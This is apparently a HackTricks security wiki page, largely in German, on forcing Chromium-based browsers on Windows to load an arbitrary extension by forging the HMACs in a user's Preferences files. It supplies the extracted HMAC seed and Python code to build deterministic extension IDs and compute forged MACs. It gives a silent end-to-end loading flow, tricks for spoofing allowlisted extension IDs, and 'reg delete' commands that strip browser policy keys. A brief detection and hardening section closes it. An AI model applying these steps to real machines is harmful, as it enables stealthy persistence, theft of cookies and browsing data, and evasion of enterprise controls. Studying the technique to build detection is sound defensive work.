Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Überblick

Tarnbare post-exploitation-Technik, um arbitrary extensions in Chromium-basierten Browsern unter Windows zu laden, indem die Preferences/Secure Preferences eines Nutzers bearbeitet und gültige HMACs für die modifizierten Nodes gefälscht werden. Funktioniert gegen Chrome/Chromium, Edge und Brave. Beobachtet auf Chromium 130 bis 139 zum Zeitpunkt der Veröffentlichung. Eine einfache disk write primitive im Profil des Opfers reicht aus, um eine voll-privilegierte extension persistent zu hinterlegen, ohne command-line flags oder Benutzeraufforderungen.

Kernidee: Chromium speichert pro Nutzer den extension state in einer JSON Preferences-Datei und schützt sie mit HMAC-SHA256. Wenn du gültige MACs mit dem im Browser eingebetteten seed berechnest und sie neben deinen injizierten Nodes schreibst, akzeptiert und aktiviert der Browser deinen extension-Eintrag.

Where extension state lives (Windows)

  • Non–domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
  • Domain‑joined Chrome profile:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Key nodes used by Chromium:
  • extensions.settings.<extension_id> → eingebettetes Manifest/Metadaten für den extension-Eintrag
  • protection.macs.extensions.settings.<extension_id> → HMAC für diesen JSON-Blob
  • Chromium ≥134: extensions.ui.developer_mode (boolean) muss vorhanden und MAC‑signed sein, damit unpacked extensions aktiviert werden

Simplified schema (illustrative):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Hinweise:

  • Edge/Brave verwenden ähnliche Strukturen. Der "protection seed"-Wert kann abweichen (bei Edge/Brave wurde in einigen Builds beobachtet, dass ein null-/anderer Seed verwendet wird).

Extension IDs: path vs key and making them deterministic

Chromium leitet die Extension-ID wie folgt ab:

  • Gepackte/signierte extension: ID = SHA‑256 über DER‑encoded SubjectPublicKeyInfo (SPKI) → nimm die ersten 32 Hex-Zeichen → mappe 0–f auf a–p
  • Unpacked (no key in manifest): ID = SHA‑256 über die Bytes des absoluten Installationspfads → mappe 0–f auf a–p

Um eine stabile ID über Hosts hinweg beizubehalten, bette einen festen base64 DER public key in manifest.json unter "key" ein. Die ID wird aus diesem key abgeleitet statt aus dem Installationspfad.

Helfer, um eine deterministische ID und ein Schlüsselpaar zu erzeugen:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Füge den erzeugten public key in deine manifest.json ein, um die ID zu sperren:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Forging Preferences integrity MACs (core bypass)

Chromium schützt die Preferences mit HMAC‑SHA256 über "path" + serialized JSON value jedes Knotens. Der HMAC‑Seed ist in der resources.pak des Browsers eingebettet und war bis Chromium 139 noch gültig.

Extrahiere den Seed mit GRIT pak_util und finde den Seed-Container (file id 146 in getesteten Builds):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Berechne MACs (HEX in Großbuchstaben) wie folgt:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Minimales Python-Beispiel:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
  • Schreibe die Werte unter:
  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Browser-Unterschiede: Bei Microsoft Edge und Brave kann der seed null/anders sein. Die HMAC-Struktur bleibt gleich; passe den seed entsprechend an.

Implementierungstipps

  • Verwende genau dieselbe JSON-Serialisierung, die Chromium beim Berechnen der MACs nutzt (kompaktes JSON ohne Leerraum ist in der Praxis sicher; das Sortieren von Schlüsseln kann helfen, Reihenfolgeprobleme zu vermeiden).
  • Stelle sicher, dass extensions.ui.developer_mode existiert und auf Chromium ≥134 signiert ist, sonst wird dein unpacked-Eintrag nicht aktiviert.

End‑to‑end silent load flow (Windows)

  1. Erzeuge eine deterministische ID und bette "key" in manifest.json ein; bereite eine unpacked MV3 extension mit den gewünschten Berechtigungen (service worker/content scripts) vor
  2. Erstelle extensions.settings., indem du das manifest und die minimalen Installations-Metadaten einfügst, die Chromium benötigt (state, path für unpacked, etc.)
  3. Extrahiere den HMAC seed aus resources.pak (file 146) und berechne zwei MACs: einen für den settings-Knoten und einen für extensions.ui.developer_mode (Chromium ≥134)
  4. Schreibe die gefertigten Knoten und MACs in das Zielprofil unter Preferences/Secure Preferences; beim nächsten Start wird deine Extension mit den deklarierten vollen Berechtigungen automatisch aktiviert

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Beschaffe dessen public key (z. B. via chrome.runtime.getManifest().key im background/service worker oder durch Herunterladen/Parsen der .crx)
  3. Setze diesen key als manifest.key in deiner modifizierten Extension, um dieselbe ID zu reproduzieren
  4. Registriere den Eintrag in Preferences und signiere die MACs → ExtensionInstallAllowlist-Prüfungen, die nur anhand der ID matchen, werden umgangen
  • Extension stomping (ID collision precedence)

  • Wenn eine lokale unpacked extension dieselbe ID wie eine installierte Web Store extension hat, bevorzugt Chromium die unpacked. Das ersetzt effektiv die legitime Extension in chrome://extensions, während die vertrauenswürdige ID erhalten bleibt. Verifiziert auf Chrome und Edge (z. B. Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • Mit Administratorrechten lösche/modifiziere Policy-Keys, bevor du deine Einträge schreibst, um Blockaden zu vermeiden:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Auffälliger Fallback: Laden über die Kommandozeile

Ab Chromium ≥137 erfordert --load-extension außerdem das Übergeben von:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

Dieser Ansatz ist weit verbreitet bekannt und wird überwacht (z. B. durch EDR/DFIR; verwendet von commodity malware wie Chromeloader). Preference MAC forging ist unauffälliger.

Verwandte Flags und weitere plattformübergreifende Tricks werden hier besprochen:

macOS Chromium Injection

Betriebliche Auswirkungen

Sobald sie akzeptiert ist, läuft die Extension mit ihren deklarierten Berechtigungen und ermöglicht DOM‑Zugriff, das Abfangen/Weiterleiten von Requests, Zugriff auf Cookies/Storage und Screenshot‑Aufnahme — effektiv In‑Browser‑Codeausführung und dauerhafte Persistenz im Benutzerprofil. Die Remote‑Bereitstellung über SMB oder andere Kanäle ist einfach, da die Aktivierung datengetrieben über Preferences erfolgt.

Erkennung und Härtung

  • Überwache Nicht‑Chromium‑Prozesse, die in Preferences/Secure Preferences schreiben, besonders neue Knoten unter extensions.settings gepaart mit protection.macs‑Einträgen
  • Alarmiere bei unerwartetem Umschalten von extensions.ui.developer_mode und bei HMAC‑gültigen, aber nicht genehmigten Extension‑Einträgen
  • Überprüfe HKCU/HKLM Software\Policies auf Manipulation; setze Richtlinien über device management/Chrome Browser Cloud Management durch
  • Bevorzuge forced‑install aus dem Store mit verifizierten Publishern anstelle von Allowlists, die nur anhand der Extension‑ID matchen

Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks